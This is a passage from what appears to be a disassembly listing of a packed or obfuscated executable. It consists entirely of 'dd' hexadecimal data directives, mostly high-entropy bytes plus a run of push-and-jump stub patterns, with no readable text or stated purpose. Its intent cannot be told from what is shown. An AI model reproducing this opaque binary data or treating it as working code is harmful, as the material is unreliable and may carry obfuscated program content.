0A1405C84h, 0B15E2FE8h, 0E2EAA97Ch, 47DF6FA5h dd 0CB38CBD6h, 22BCECBBh, 9210h, 25682100h, 81E2B5EAh dd 0FED10609h, 5B143D6Bh, 0D2A5DA35h, 5F7C0B13h, 0F4FF47DFh dd 0D23D5061h, 53BCD49Dh, 0D738551Eh, 8B3D9A2h, 0DF5F8700h dd 7EE9F447h, 11D08449h, 17D037CCh, 93669B74h, 642DB400h dd 6042454Dh, 364147DFh, 1EFB92A3h, 976A9F70h, 1429DF2Ch dd 60AE9693h, 7C0F1AA5h, 0B9EE216Bh, 0E020EDA1h, 0FDBECF47h dd 0E02092F5h, 7BE6F147h, 0FF107D46h, 905105CAh, 6AD53A55h dd 1F667BE7h, 22BC3FA7h, 674h, 0C0CC8500h, 148EBC4Fh, 0D8461E93h dd 7A0D5FA7h, 0B9EE2169h, 244C1192h, 0AA0F0AAAh, 4683B081h dd 0EE81E533h, 20AB1DDh, 47DFEA85h, 4B80EBF6h, 0BF2AB7A3h dd 9AF744CBh, 0DDE5A491h, 49F20E21h, 233AF904h, 0F2056C1Bh dd 71040F4Dh, 44CBC38Ch, 30E900F7h, 8601B15Eh, 0CE4DF205h dd 0F205C1C6h, 1FB7C24Dh, 1E708114h, 0E9A4BCF1h, 0A14DF205h dd 2569845Dh, 8A049DEAh, 830DC685h, 2384578Ch, 9F72A768h dd 305E270Ch, 0AFE1AADFh, 2E622B60h, 216ACE1h, 0E99EA6DFh dd 9A4DF205h, 29AD248Fh, 0AE612DB8h, 58146C61h, 24C124AEh dd 13000001h, 1C0A5AEh, 0BA5F31EAh, 34073CD3h, 60C194C9h dd 0D8ABE02Fh, 773DE545h, 70849F1h, 5A2D3586h, 294DF178h dd 1348B31Eh, 6F77444Ah, 4DF17918h, 0EB246A6Bh, 2FC81580h dd 0B27BB05Fh, 0BE513DDCh, 0BB3F1E53h, 3CD3BB26h, 0E436FC7Dh dd 0E965222Ah, 0B164DF1h, 7A2C3AE2h, 9DF5EAE7h, 4A24AE2Ch dd 45h, 0BFA4AE9Ch, 5F6FF800h, 8B8CC7DFh, 0E09F0A05h, 5EC6C1C9h dd 0AAB5C7DFh, 6D1A3217h, 49C7DF5Eh, 371EF172h, 879A2DD8h dd 9FC7C0C8h, 0A9B4C7DEh, 817CA16h, 4A5211FEh, 47DEA01Dh dd 2FC6131Eh, 7Bh, 0C0A5AE99h, 8155F901h, 728949F1h, 0F1891D6Ah dd 0C0535E4Dh, 2DAE6D78h, 17AA8B4Ch, 250A9D10h, 90DD325Ch dd 437897F7h, 0F214612Bh, 0CE13574Dh, 47947B13h, 9F36E1EAh dd 0D05557E3h, 2D35F45Fh, 5009CA7Ch, 96830A0Bh, 3FAA15FAh dd 0C24D410Ah, 1DD6E58Dh, 9A6DA26Dh, 5D26BB07h, 0FA23ECA4h dd 951D4AD9h, 0B78C1F3Fh, 8C7AEh, 49FD39A9h, 877ECBD6h dd 1D52BDCEh, 0AE89B74Ah, 4CC3CAA5h, 0D03F4E17h, 0E99EA665h dd 9A47DF5Fh, 5D65248Fh, 49F7544Ch, 0FD127A7Bh, 0FA945D92h dd 0F39D5615h, 8114E71Ch, 0BD768D84h, 0F88F3FD0h, 8B4DF75Bh dd 0B2DCED80h, 3010285Dh, 0ED240178h, 828DFDB6h, 9BE77A4Dh dd 1CF39B46h, 0B75836CFh, 39D6B982h, 71705C04h, 0AAF71876h dd 0F3949CB3h, 90841D37h, 0ADE1F285h, 4D062D62h, 0CF98CD42h dd 54E752BDh, 345h, 3422AF00h, 0BBF01F72h, 3E739CF2h, 0BFF41B75h dd 457A95F6h, 0C9FE117Ch, 4D828D00h, 0CF040B84h, 568B8406h dd 0DB10FF8Dh, 585450D4h, 405h, 4E88300h, 5C240487h, 81E68956h dd 4C6h, 4EE8300h, 5C243487h, 68243489h, 28C4h, 68242C89h dd 617FC49h, 8124348Bh, 4C4h, 2C8B5400h, 4C48324h, 89F78957h dd 3C8B087Dh, 4C48124h, 8B000000h, 8950242Ch, 405E0h, 0C0830000h dd 24048704h, 2434FF5Ch, 4C4835Eh, 0FA7F74E9h, 0AF0A43FFh dd 0F0194F0Bh, 0FE326960h, 11FB8DAh, 0C5030618h, 0AA8EE0FFh dd 694A0795h, 73A400ACh, 0E04503FDh, 0F0185917h, 59D834EEh dd 0BE7F101Eh, 8DDB502Ch, 0C52F3892h, 0C3A55A47h, 1F17392Fh dd 382661B3h, 7A913E88h, 0C488432Dh, 0A0717314h, 0A9455E19h dd 10E87B31h, 4E000000h, 0C31DA68Dh, 53F8B7BCh, 9691ECE2h dd 819B4957h, 94EA1ADAh, 0EA815F3Eh, 7F6128AAh, 5B28C781h dd 13E90000h, 0F5000000h, 4B37DCBEh, 2D64AB9Ch, 8DA54DEFh dd 20A8750Bh, 0C02B8216h, 870Fh, 34FF0000h, 0F6805138h dd 665B594Bh, 0C381D78Bh, 7075891Ch, 0F381F78Bh, 74E2BEB3h dd 0F880Fh, 8E80000h, 64000000h, 772D9CF5h, 0FC6070FBh dd 0BF38159h, 0E93B3C79h, 14h, 6A80AFF9h, 48D15F09h, 78ADC599h dd 32C32B57h, 0D42942A0h, 53071C89h, 12E9h, 0F1A3AC00h dd 7E5B7F58h, 5D6F5473h, 2AC9250Bh, 5EC9C491h, 68A0Fh dd 0C1810000h, 29041A07h, 0F04E883h, 0D83h, 8E900h, 0BC7F0000h dd 0A67417D3h, 0F8816756h, 0FFFFA5E4h, 19850Fh, 6E80000h dd 28000000h, 0A580B0EAh, 0F0BF0F82h, 21E95Eh, 8FC90000h dd 0E9D7E70Ch, 0Ch, 5292D895h, 123D9BCDh, 4D909296h, 0FFFF39E9h dd 391AD3FFh, 0E9B1C71Ah, 0DFh, 1A50C622h, 0CA459CD7h dd 0B6E1C8C3h, 0A7ACABDAh, 4592B395h, 0B395A1F4h, 0ECABDA00h dd 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h, 92A5BCF2h dd 7594A196h, 0B799603Ah, 99BD329Fh, 9CB2E9B5h, 0A3F292A5h dd 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h, 8A924AF0h dd 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h, 7D41F445h dd 92B000D7h, 756BBF97h, 0BFCF60FDh, 93BCF996h, 207D20B2h dd 0ABF79B57h, 9EBD9492h, 9DBCE3B2h, 899BE0CEh, 8F9D728Fh dd 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h, 0CD43F1B6h dd 0F0A8h, 47000000h, 0E3129D74h, 5E99E0h, 9 dup(0) dd 0E9000000h, 153Eh, 18060068h, 7D17E906h, 68FFFAh, 0E9061807h dd 0FFFA7D0Dh, 1807D368h, 7D03E906h, 1A68FFFAh, 0E9061809h dd 0FFFA7CF9h, 18099B68h, 7CEFE906h, 5168FFFAh, 0E906180Ah dd 0FFFA7CE5h, 180B1968h, 7CDBE906h, 0C468FFFAh, 0E906180Bh dd 0FFFA7CD1h, 180C6C68h, 7CC7E906h, 0E968FFFAh, 0E906180Dh dd 0FFFA7CBDh, 180EE868h, 7CB3E906h, 5168FFFAh, 0E9061810h dd 0FFFA7CA9h, 18115E68h, 7C9FE906h, 0BB68FFFAh, 0E9061812h dd 0FFFA7C95h, 1813D868h, 7C8BE906h, 0BB68FFFAh, 0E9061815h dd 0FFFA7C81h, 1816C768h, 7C77E906h, 0A7EAFFFAh, 0A821B68h dd 6B1FB805h, 0D1BE57A4h, 3558F13Eh, 189D8DDAh, 0B58B7D6h dd 0A9F61972h, 428F8010h, 0DD2AE5A9h, 0DBACB403h, 0A84DF763h dd 8FFBB4CBh, 8CC56AC2h, 0A40F47A5h, 1C72E311h, 99F5BEF3h dd 1E36B776h, 0F392D881h, 0F9C1C6CEh, 0B7C247DFh, 5FBCB94Ch dd 0A8B06F56h, 49F226E6h, 83CEC17Ah, 0ADEAEA0Ch, 99C077Eh dd 6981B6C1h, 4DF18522h, 632CB5D1h, 0A6B850E2h, 0F152CC62h dd 6B3E739Ch, 916B6BD8h, 75C024AEh, 12000000h, 0C6CAA5AEh dd 0D0831449h, 1F832620h, 5C9DC631h, 602F9A84h, 0DA5B1A85h dd 764847AEh, 3CAB3E11h, 0EF206C25h, 175F2830h, 111C47E0h dd 36A81E7Eh, 0C4CF49F2h, 0F914778Fh, 0C3DF4DF1h, 676F671Eh dd 0CE4F24AEh, 236CCA52h, 0BC72C3ECh, 0C7B8342h, 6F4DF1C3h dd 0CDCFD164h, 0E0000000h, 0EB0F0B5Fh, 0D1047AF2h, 8CBAE3C7h dd 61692869h, 4DF17026h, 89B74A55h, 0BEF31C72h, 427798F5h dd 0E12E621Bh, 0BE513D4Eh, 7CE16289h, 1627AF6h, 0E0AEBF52h dd 88BD5239h, 15FD4AB5h, 47E00250h, 0E22FE0AEh, 95CA4549h dd 5312FF08h, 0F20D8F4Bh, 16636E49h, 0C0CBB0B9h, 0DC471A4Fh dd 3D4D061Dh, 0A7DF3FD2h, 0CE5004A9h, 6CC68A05h, 46B1C303h dd 5ABFCE87h, 0D1A4D936h, 0A2EEA766h, 44DDDA6Dh, 6A47C649h dd 68EDBE30h, 1288FCC3h, 1F720000h, 820AA3F0h, 0E3A7408Dh dd 4946DF2Ch, 0ADE079C6h, 90251562h, 93E02F5Eh, 317E91FAh dd 0CA17F898h, 65B25D31h, 53343C8Bh, 304DF765h, 1B727D53h dd 487D92FEh, 24BD0A75h, 0A258A56Ah, 1C0A5AEh, 97CC4348h dd 0E550BFCEh, 0EBDBE352h, 1A49F17Eh, 9CB3DA0Fh, 0F180F394h dd 0F285904Dh, 0F180F992h, 3DEFA4Dh, 0AEDF348Ch, 0D3E124h dd 14330000h, 5F92F5FDh, 0E6F147DFh, 0C34C4253h, 47C8C58Eh dd 5A6BFA12h, 0BFCF47DFh, 0B8D89150h, 0BC4F2257h, 0A76826BFh dd 0F5DCE572h, 70171F36h, 1347DF63h, 2A957A12h, 3A0DBC01h dd 8619209Bh, 27CB0F17h, 2F3A49F2h, 957C85E2h, 8506BFD6h dd 0EF82558Ah, 4CE048Fh, 25E4EF50h, 0D936550Eh, 2D3ED1A4h dd 37F0AF60h, 3357B857h, 0B34C49DCh, 6A60E1DAh, 18558CDCh dd 1ED8AF5Fh, 0ADE247E6h, 0C25A2D62h, 0C6CD4CB7h, 0ECEDBEE6h dd 11888047h, 1F720000h, 820AA3F0h, 0E3A7408Dh, 4946DF2Ch dd 0ADE079C6h, 90251562h, 93E02F5Eh, 317E91FAh, 0CA17F898h dd 65B25D31h, 53343C8Bh, 304DF766h, 1B727D53h, 800EA7F4h dd 0E61BF499h, 30E9A813h, 201DB05Fh, 355B146Ah, 583647DAh dd 0D5B982B7h, 3DF6ED3Ah, 0B487BC53h, 957A1021h, 18F79760h dd 4D3A4259h, 2E47DF5Fh, 0F1B7FA23h, 60D4543Fh, 0E460D0CDh dd 62211019h, 0F1F0F45Ah, 0B7081349h, 5BFCB7D7h, 4938415Eh dd 0B88C828Ah, 53D43B89h, 0B8C013A0h, 3F6A19CFh, 0C378A1ACh dd 165EF15Bh, 0F6AFD60Bh, 13E87B94h, 545C1B0Ah, 417CDCC1h dd 23DC9BA6h, 486FA46Bh, 7EDF4740h, 0BE293439h, 8B03BC2Bh dd 0F09E3784h, 0D929A01Fh, 84291C27h, 10B5BDh, 1DF29F00h dd 0BA5537D0h, 59B6D46Dh, 0F31C730Ch, 8F800DA6h, 8B635242h dd 27C00D02h, 0C55EAB64h, 5EF744CBh, 0B892DF30h, 67266169h dd 78554DF7h, 0FD1C72A2h, 784B808Fh, 0FB954E0Dh, 0FF27EB14h dd 18F89CCFh, 0A13A085h, 0DA545C1Bh, 0C649F212h, 2C583445h dd 0F25D6324h, 0EC15204Dh, 0FF8C5532h, 0CA12A510h, 1348C7C9h dd 99CE414Ah, 0A3F05BC6h, 28623D46h, 74DFB2E7h, 6851ADB5h dd 69745004h, 536F1C34h, 458447E0h, 7A0D028Ch, 21DAB32Eh dd 0A20FA26Dh, 22BC0A22h, 24F7h, 0A5AE4900h, 7F901C0h dd 3A49F1AEh, 0D9B7702Fh, 8C01E936h, 324DF1ADh, 0CD66B35Ch dd 50174CC3h, 0FF6h, 305B14BAh, 6E774CDFh, 66C0C887h, 1149F759h dd 60957A10h, 0AA63228Dh, 0EB6C2BE4h, 883741BFh, 9C992C4Bh dd 0C5848B03h, 0D9281D44h, 0AF2CA9CAh, 58DC0534h, 0E4C95CB6h dd 0A8674E57h, 0FB5F1A0h, 14D3DE50h, 79DA355Bh, 0FB6AFD12h dd 0B3D063E4h, 15099F26h, 0F21D7182h, 39820CA5h, 0E00F5631h dd 0AF1A2547h, 7E4ED7Ah, 80538887h, 244E5615h, 0EC49F230h dd 81B65933h, 0C8D31BAEh, 0AAF64E49h, 18DF84EBh, 0F6Eh dd 89D63958h, 26739CF0h, 0C512FD8Dh, 5FAC632Ch, 0FB48C7C6h dd 4944AA0Bh, 0ABE079C6h, 127E1764h, 7717B0FDh, 22714B98h dd 0F7686D1Ah, 5B310E4Dh, 1F325B14h, 0F8E17915h, 1C51BCF9h dd 3556B649h, 0C147E000h, 53BCD3B8h, 21E04B1Eh, 0F7F87019h dd 45040F49h, 0C00D028Ch, 0E6EA6727h, 0DBDA10C7h, 0AD3A6FDAh dd 0A78DFFA4h, 33F78169h, 2D0109C8h, 58500A11h, 0DAEBCE4Dh dd 0A247EDB2h, 0EEDDBh, 55BAD700h, 0F21D6F08h, 917E0CA5h dd 2BE4AB44h, 0C74845DEh, 0C32B8A7Ah, 5FF845CAh, 0FD96E32Ch dd 962F7C93h, 0F0CA17F8h, 68EE99A1h, 0B08D4DF7h, 0FD1C72DAh dd 5615808Fh, 0EB20EF9Dh, 0D7A08518h, 80159AB7h, 360E7EE1h dd 3A530CCBh, 2C61AEDFh, 0FF8DEE59h, 7508DB10h, 9516A590h dd 0AB2DC4C9h, 0DAADB5F8h, 0A947DFFEh, 54A0339Eh, 7D8E068Dh dd 275B22BCh, 0AD000009h, 1C0A5AEh, 0F758BFF9h, 18D7E249h dd 0A5EA2F5Fh, 8740FF6Ah, 9D20708h, 81548986h, 0ED868316h dd 21396EA1h, 4DF7626Ah, 0DF9E838Ch, 97657D7h, 0E4636E50h dd 0EDB24787h, 37DFA64Bh, 2100000Eh, 0B9529F70h, 56EF3CD3h dd 0F58EDB34h, 8F28759Ah, 0D4C411FEh, 8F800DE1h, 2DE2A942h dd 0C64947E0h, 61AEE079h, 0E3EB3A14h, 4DF769A4h, 1424FAD7h dd 0A9DE315Bh, 5C3243D6h, 0D5DDF4B3h, 47DF5FB2h, 4E33C6D1h dd 7B100985h, 218C5F94h, 2CE3A962h, 0AC9124F7h, 6EB132C1h dd 3C12885Ch, 1EC30FA2h, 0BC006F67h, 87CBC22h, 230E0000h dd 47DF5F68h, 0E1A0858Eh, 0DDB36628h, 0BF2AFD32h, 0B524B78Ah dd 0F7594BADh, 30384F49h, 4DF76257h, 3E861924h, 0D3BB7433h dd 3856EF3Ch, 0EE9718D7h, 0D2AA08A9h, 592770Ah, 4E5615FCh dd 5009ECE0h, 69A6E6E7h, 9AA26134h, 47E9C3EDh, 9918838Eh dd 0EDB23D58h, 6FAE751Ah, 5900000Dh, 0F18AD738h, 8E27749Bh dd 2DC613FCh, 0C760AD62h, 0CFC49C6h, 0C74845A9h, 65AAE17Ah dd 0FE117F18h, 997618B1h, 1B23724Ch, 4DF76A6Ch, 725C320Fh dd 0F5BEF31Ch, 56417699h, 3090F7EAh, 0E522BCE2h, 7DAh dd 345B1437h, 777FA6DBh, 47DF6010h, 6AFD6873h, 0E6A58C95h dd 957A16CFh, 5FB9CED6h, 0BFCA47DFh, 5917CC2Ch, 111C49F7h dd 1AF59952h, 4B3C445Bh, 384DF762h, 49D9A2Dh, 3850858Ah dd 4DF76253h, 0ECAB9AA3h, 9764AE4h, 0F7FF1650h, 47E97D90h dd 76AB642Ah, 6D000BA3h, 449B1A25h, 0EEEDB247h, 0CC48249h dd 0E3AE0000h, 4646DF2Ch, 0A7E37CC9h, 0D821B68h, 711CB502h dd 5461519Eh, 0CF1CF39Ah, 6DBA5536h, 653BCD4h, 0A1EE216Dh dd 177078C7h, 644DF76Bh, 1C72B187h, 151D34F3h, 47DF5F72h dd 0DDAAB211h, 9E47DF5Fh, 61692893h, 47DF6026h, 0D2B74A55h dd 558A8509h, 0ACE3FE6Ah, 22BCE2D4h, 5EB1DB94h, 97F55629h dd 0BE3E578h, 35000007h, 0DF5F6723h, 91808947h, 5900CAD2h dd 0F4FF49F7h, 0FD127C35h, 987717B0h, 0E8CDD663h, 78B52129h dd 40F95009h, 50AA0150h, 6E60464Ch, 68FBCE03h, 4B961520h dd 0E7EDB25Fh, 0C1C7B42h, 8B060000h, 0EE9E3784h, 4F3BD421h dd 0B5DA73C0h, 19740D5Ah, 0FCB9A9F6h, 27749BF2h, 0C512FD8Eh dd 5EAB642Ch, 0F946C9C5h, 0BFC8D01Fh, 0BC4DF76Bh, 1C7209DFh dd 99F5BEF3h, 8CFEB776h, 96BA60C5h, 9601CAB3h, 38551E03h dd 0B5D9A2D7h, 7B8F255Ah, 76FA7166h, 10E806Bh, 8704BDB4h dd 48A5388h, 9803D60Bh, 8F389805h, 698022BCh, 0DFDD2661h dd 0B74A5547h, 168B5h, 5B140700h, 0D2A5DA35h, 5F7C0B13h dd 0F4FF47DFh, 0D13E5061h, 94F3FB12h, 0C047DF5Fh, 0DF5FCFB8h dd 9A1AC47h, 1DF29DFEh, 0B2DCA58Ah, 0AAB3105Dh, 1C45CAC5h dd 0EDB9963Dh, 9D5CC70Fh, 0F242F995h, 4C818C49h, 0F1F85734h dd 0E42B634Dh, 66A9E6AFh, 5A879B31h, 9D1E5D85h, 0F4407DB6h dd 23646C6Dh, 604DF174h, 232BEA55h, 4DF17364h, 2D790C17h dd 0F6E5DDB4h, 463224AEh, 43000000h, 0B0B8038Ah, 4DF17BD7h dd 0F92E99A4h, 4AB55A30h, 0A5AE89B7h, 0CDF901C0h, 3849F17Eh dd 4F576E2Dh, 4DF18138h, 0CC010E82h, 0F55661F9h, 6E417699h dd 0ADDEF6DBh, 464DF180h, 0F0D0B72Ah, 2524AEDFh, 80h, 0FD1C7277h dd 784B808Fh, 7E0FD80Dh, 0FB935C91h, 1D45514h, 9DF2F5F6h dd 814A2FC2h, 0CDB5020Dh, 47DFC7C8h, 1A67A8E6h, 0ECDB4BDh dd 0F2711306h, 26E5F049h, 0A2EF206Dh, 0C8B8409h, 0EBAC9CF7h dd 9F0FD67Bh, 8900000Ah, 21BA0708h, 0BE57A46Bh, 5DF643CCh dd 0F790DD32h, 3C2C7996h, 0F7187579h, 957A11AAh, 2EE1AF48h dd 0C94648E1h, 4B53A27Ch, 4DF76D3Ch, 728C623Fh, 0EA7F41Bh dd 8C428F80h, 979F1C72h, 47DF5FF0h, 5E1D8893h, 53D5A3DDh dd 342A4ACCh, 816C2CCh, 0BDD2339Eh, 11DABF52h, 0AE45927Dh dd 4EEh, 0C0A5AE18h, 6981F901h, 0BC7549F1h, 35083DD2h dd 1A4F5AA2h, 8B0672F3h, 0F1C4C3F0h, 0CA5D2A32h, 131E4DF1h dd 0CA6B2080h, 6C884DF1h, 95A61E75h, 217324AEh, 0C5000002h dd 0DF5F6123h, 5934ED47h, 0D73855B6h, 7F666F44h, 7B92A9C0h dd 0DF601473h, 0AC5C6747h, 47DF5FDBh, 0AA0A9DA8h, 49F75956h dd 0E69F5E69h, 91A867A8h, 0F762FE89h, 117C7D4Dh, 8BF6C9FEh dd 17AA652Ah, 20D811Ah, 17028A43h, 0FB309B74h, 23B09528h dd 646C2B1Ah, 50097972h, 92CB4A55h, 80EDB24Ch, 9A014DBh dd 78A0000h, 6A22BB08h, 0CBBF58A5h, 315EF744h, 95F891DEh dd 783D2D7Ah, 0ABF81776h, 49967912h, 0E22FE0B0h, 7DCA4549h dd 3B4C54A3h, 484DF76Eh, 1C72956Bh, 147B34F3h, 60F3C6FBh dd 3DDCB27Bh, 1E53BE51h, 0AEDF983Fh, 5F82CE61h, 0F8470A84h dd 14ECFE2Fh, 1B105DC8h, 22BC45BBh, 15B70h, 1C72C200h dd 99F5BEF3h, 0E9266922h, 5631E1B4h, 2547DF5Fh, 562AF1Ah dd 4E5615FCh, 49F18D40h, 2079F20h, 0F83DBCEFh, 81541D65h dd 0F428755Eh, 0C489F0CEh, 12C3A29Bh, 315A72A7h, 894DF1CAh dd 0D6B1B902h, 0A54DF1C9h, 69FA2F9Ah, 0DC8F4367h, 1777D83Ah dd 192DC3F8h, 0CFEB13C8h, 0CCC07912h, 0A83B0E43h, 0AE035B3Bh dd 30A22324h, 6C9DC644h, 39A46B21h, 43A4A6h, 0AEF60000h dd 4DC2CAA5h, 6E148824h, 91FC6AB8h, 9CA4BBD2h, 47DF70EBh dd 9AFA8D98h, 49F1902Ch, 31B505Bh, 4DF18F88h, 0FB924F6Bh dd 24AECE9Bh, 9750h, 424A6100h, 4DF19B45h, 0C3CA2B36h dd 0B144174Ch, 0F31C7283h, 7798F5BEh, 818EFFB8h, 61E209EEh dd 0A74D0FA9h, 0E3AC0D65h, 688992Ch, 830BD409h, 8F483F8Ch dd 1C7C0F00h, 47DFB469h, 79C64945h, 6F2E131Ch, 0F261B267h dd 0C7869149h, 43907F0Eh, 0AD2CE3AAh, 0EBACAC82h, 3704CB70h dd 21000008h, 0B9529F70h, 56EF3CD3h, 0F58EDB34h, 8F28759Ah dd 0D4C411FEh, 8F800DE1h, 2DE2A942h, 0C64947E0h, 61AEE079h dd 0E3EB3A14h, 4DF76FA4h, 7224FAD7h, 0EA7F41Bh, 8C428F80h dd 0BEF31C72h, 297699F5h, 2A192h, 9CA4BB00h, 47DF5FEBh dd 0CCFA8D98h, 1C0A5AEh, 6CCD4248h, 0E8BBF01Fh, 16CFE655h dd 0CFD79679h, 47DF5FB8h, 0CD2DC0CBh, 49F7595Dh, 10285D68h dd 4DF7627Bh, 0E855C78h, 24A4FDB6h, 24C63h, 6123B500h dd 0ED47DF5Fh, 83B85734h, 0B7823FF2h, 93FE00B6h, 3D222B00h dd 91300150h, 12A5A2C6h, 434B72A7h, 47DFAB44h, 60C12C37h dd 0B675E02Fh, 0B2AA4435h, 8AB31F01h, 7CC9452Dh, 36A53837h dd 0F837042Eh, 0E9A8B349h, 9C7319D2h, 0F0019467h, 8B24719Eh dd 364D0C03h, 3792BFB5h, 0C2726642h, 4DF76BC5h, 3318ABB6h dd 0F9B89DA6h, 981E5F1h, 5228A950h, 94C5A4C9h, 9145CEFh dd 0B262A78Ah, 3F06ABEDh, 72Ah, 45927D14h, 0E22FE0ACh dd 81CE4149h, 1B68A7E8h, 0B7040B82h, 8D00EEC7h, 0EF9C3582h dd 563AD320h, 0BBD36CB9h, 0DE2D0754h, 0F770B1D6h, 1FF5D24Dh dd 0BEF31C72h, 417699F5h, 0E803DE62h, 271C69A6h, 22BCFEAFh dd 0E435560Fh, 0C5FA65AAh, 725D5FF2h, 0AF000001h, 8DFD1C72h dd 19E21782h, 564D9A75h, 5F50373Fh, 34A247DFh, 85E4C293h dd 9A2D38D0h, 16D5BCC5h, 0F1B8800Eh, 1D5FE049h, 175CD991h dd 727DC558h, 1D66253Dh, 4E8D4DF2h, 101450CDh, 0F21A7F08h dd 0C8F1FC4Dh, 12A5150Fh, 0F1721BC6h, 11C7AC2Fh, 40474F0Ah dd 434DF210h, 216CCD38h, 53E6B9EEh, 0AE52EEE6h, 313B24h dd 0AE8D0000h, 4801C0A5h, 0C534C748h, 0F17F09BDh, 36A36C49h dd 2282C063h, 7A92C732h, 4DF22911h, 741BC6E2h, 24AE371Ch dd 0BEC9h, 6B21DA00h, 72E311A4h, 0F5BEF31Ch, 1B427798h dd 0F792FF9Ah, 2A8B4829h, 0A1BAE61h, 8D568B84h, 0D9C10E01h dd 47E0BFDCh, 36838C02h, 9FEBD0D9h, 0FD683B70h, 1405853Eh dd 8E619679h, 881BEE23h, 0E3EB0219h, 47DFF3A4h, 0D939CCD7h dd 49F29640h, 3E55141Fh, 75080785h, 66282964h, 0D7DD9059h dd 0F51A76D7h, 0E9A43D8Ah, 2794A726h, 19BEEBACh, 5CD52h dd 35DAB700h, 0D23D4FE8h, 719EEC85h, 0B048B24h, 0A76825BEh dd 0A34B6A5Ah, 3FD825EAh, 0DD76C34Ch, 760F5CB3h, 0D0AAF718h dd 720E7981h, 906D4DF7h, 0F41B72BAh, 8F800EA7h, 0A47517D0h dd 89BE29E6h, 0FF17F7F8h, 0AA15C29Fh, 72641A17h, 0F5BEF31Ch dd 36B77699h, 0F4FBCDFBh, 0AEBA02AFh, 0D1D1E33Ch, 3FD6D366h dd 16h, 0F31C72A9h, 7699F5BEh, 4A97AB41h, 0D320EF9Fh, 123Ch dd 1C72A600h, 0E8A6BEF3h, 8547DF5Fh, 117D6879h, 72FBB1FEh dd 341A351Ch, 0EB5CC9DCh, 0A2AAC180h, 47DF62E5h, 0F1ACD96h dd 0A8C10CDCh, 38C5AA3Dh, 7B83422Fh, 49F7C0ABh, 0F910CFDAh dd 0F7C396F1h, 47DAE54Dh, 8208C1D8h, 5C85588Dh, 0F32CD7CAh dd 1D2EC167h, 0B8519E71h, 0F97A39D6h, 0A0E50D11h, 9C811453h dd 601F060Fh, 13FC9049h, 0E1AA0BDEh, 9326F92Eh, 10525E33h dd 83424D50h, 0FE4BC4CAh, 0B1E62965h, 77361B24h, 28E7A760h dd 2D8D20F3h, 49F27745h, 5FE66570h, 73EBAABEh, 4B007CEh dd 0F79A0000h, 5A32CB18h, 0BBCF68B5h, 216E0754h, 8508A1EEh dd 684D3D8Ah, 0BB080786h, 59A66922h, 0F23FD0C0h, 8DDA3559h dd 2B5C64B3h, 584DF773h, 1C72A57Bh, 0BB8EB35h, 65C6C7EEh dd 0DEB1E629h, 18D2673h, 3B4DBB50h, 0A5103DA4h, 0C0C7CFE6h dd 0C347E043h, 774025B8h, 0E4C3F817h, 28668160h, 2DA59AE7h dd 0FA22BC1Ah, 5Ah, 0C0A5AE4Ch, 5F31EA01h, 43BD1DB0h, 6E49F1AEh dd 0A5EBA463h, 0B2AAB6Ah, 32DDB348h, 0D33BE109h, 325B4340h dd 884DF242h, 45CC4B06h, 70B1442Ah, 0B6DEA9B1h, 929D4DF1h dd 49516827h, 4DF1B73Eh, 0C0F51A74h, 0B74A55EDh, 0A06F21BAh dd 0A76828E1h, 270C9F72h, 3ED60h, 9314CA00h, 0DE8D3569h dd 1B75D66Dh, 59ECBFF4h, 0B9D34648h, 0E34E2156h, 66A9E5AEh dd 0CEB3BC19h, 0A087070Fh, 0F3FE49F1h, 9AE5A6BEh, 0F20E4DF1h dd 0D93898EFh, 30ED24AEh, 3F000000h, 1C0A5AEh, 0F17ECDF9h dd 34581149h, 40D3A6DBh, 0A0B8EDF8h, 4DF180EBh, 9EF5EC08h dd 24AEDF26h, 120F3h, 0BC830400h, 153F3AA1h, 14B4E275h dd 8088335Bh, 47DF6007h, 6BFE6974h, 0A8E5345Ah, 88F31C71h dd 0A0DD5E1Dh, 0CDEB56DAh, 2358B7D3h, 6D52E550h, 0F126E9A4h dd 0DCB36628h, 0D3B0D7DFh, 0C8D347DFh, 0F4BDF25Dh, 0FDB6759Ah dd 9068693h, 0BAE4759Eh, 0BF8CF512h, 1E472F2Ch, 5C47DF8Eh dd 9990DD32h, 0D063ACE0h, 8140CFBFh, 0B74AC5C8h, 13C45D2h dd 0DF968EF9h, 77E2ED47h, 8FA6B0B8h, 61149F1h, 10FF8E47h dd 1A23807Dh, 59615A35h, 4DF1952Eh, 0A2D7424Dh, 9DA564CFh dd 5004387Eh, 0E32C6465h, 0B170DBAEh, 0F7F5929Ah, 7B8647E5h dd 0CDC079E8h, 315CF542h, 0C1E85FDEh, 45EAEDBEh, 2CD7Eh dd 35DAB700h, 0D23D4FE8h, 719EEC85h, 0B048B24h, 0A76825BEh dd 0A34B6A5Ah, 3FD825EAh, 0DD76C34Ch, 760F5CB3h, 0D0AAF718h dd 750E7981h, 906D4DF7h, 0FE1B72BAh, 6922838Ch, 657C3BA6h dd 0DF602A5Dh, 0BB4E5947h, 7D0EC7BEh, 5F51363Eh, 273247DFh dd 586087BCh, 47DF602Fh, 43D6414Ch, 66B35C32h, 599314B0h dd 9DC79D51h, 61262EEDh, 2247DFA3h, 0A6AF8417h, 0CEF800BFh dd 3949F1C2h, 19D2F92Eh, 3C639877h, 0F1C45334h, 0BA25304Dh dd 0C4C4C727h, 99F64DF1h, 13784176h, 0C4E7A0A8h, 89944DF1h dd 3F53E91Eh, 0F9153DA2h, 9B21A1E8h, 9AF624AEh, 48000000h dd 0BEF31C72h, 0F788097h, 6C47DF60h, 0D0BDCE61h, 73F20A3Fh dd 0B747DF5Ah, 52EB38D7h, 119ED33Ch, 525A1908h, 49F15D04h dd 3E9BE8F3h, 89915035h, 50040835h, 0AFC68590h, 0BF79098h dd 798447E6h, 57B8D5E6h, 0FD1C710Ah, 76497E91h, 0F5B18C0Bh dd 1CC1EDBEh, 1C155h, 29E6AB00h, 0C64943DCh, 65AAE079h dd 0FF107F18h, 9B7419B2h, 97575E4Eh, 33CC19F6h, 0D16AB758h dd 6A0350BFh, 0C49EEB24h, 761A6D75h, 8C694DF7h, 0F41B72B6h dd 98F7B0A7h, 0DC6F4277h, 0FF4CC3CBh, 0F31C7249h, 0B899F5BEh dd 2024ABD2h, 6A2994E2h, 0E83C4B53h, 3E3F47DFh, 2952BD52h dd 0DCA35553h, 4845D84Ah, 0FB30DFAFh, 608453D4h, 49F11772h dd 0DFF64641h, 0BF2A3547h, 674E572Ch, 0A02A0A8h, 0E2ED49F2h dd 0C81905ADh, 